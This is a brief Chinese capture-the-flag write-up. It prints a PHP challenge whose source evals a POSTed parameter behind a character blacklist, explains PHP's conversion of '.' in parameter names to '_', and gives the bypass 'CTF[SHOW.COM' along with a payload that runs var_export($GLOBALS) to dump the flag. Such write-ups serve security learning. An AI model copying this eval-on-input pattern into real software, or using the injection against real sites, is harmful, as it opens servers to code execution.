源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
思路
限制不是很多,发现刚开始发现一直没有回显,在本地测试了一下
发现 . 被替换成了 下划线
好家伙,难怪过不去
直接跑bp, 把_ 和 . 替换成特殊符号
正确绕法 CTF[SHOW.COM
题解
试试var_export($GLOBALS)
CTF_SHOW=&CTF[SHOW.COM=&fun=var_export($GLOBALS)
总结
水题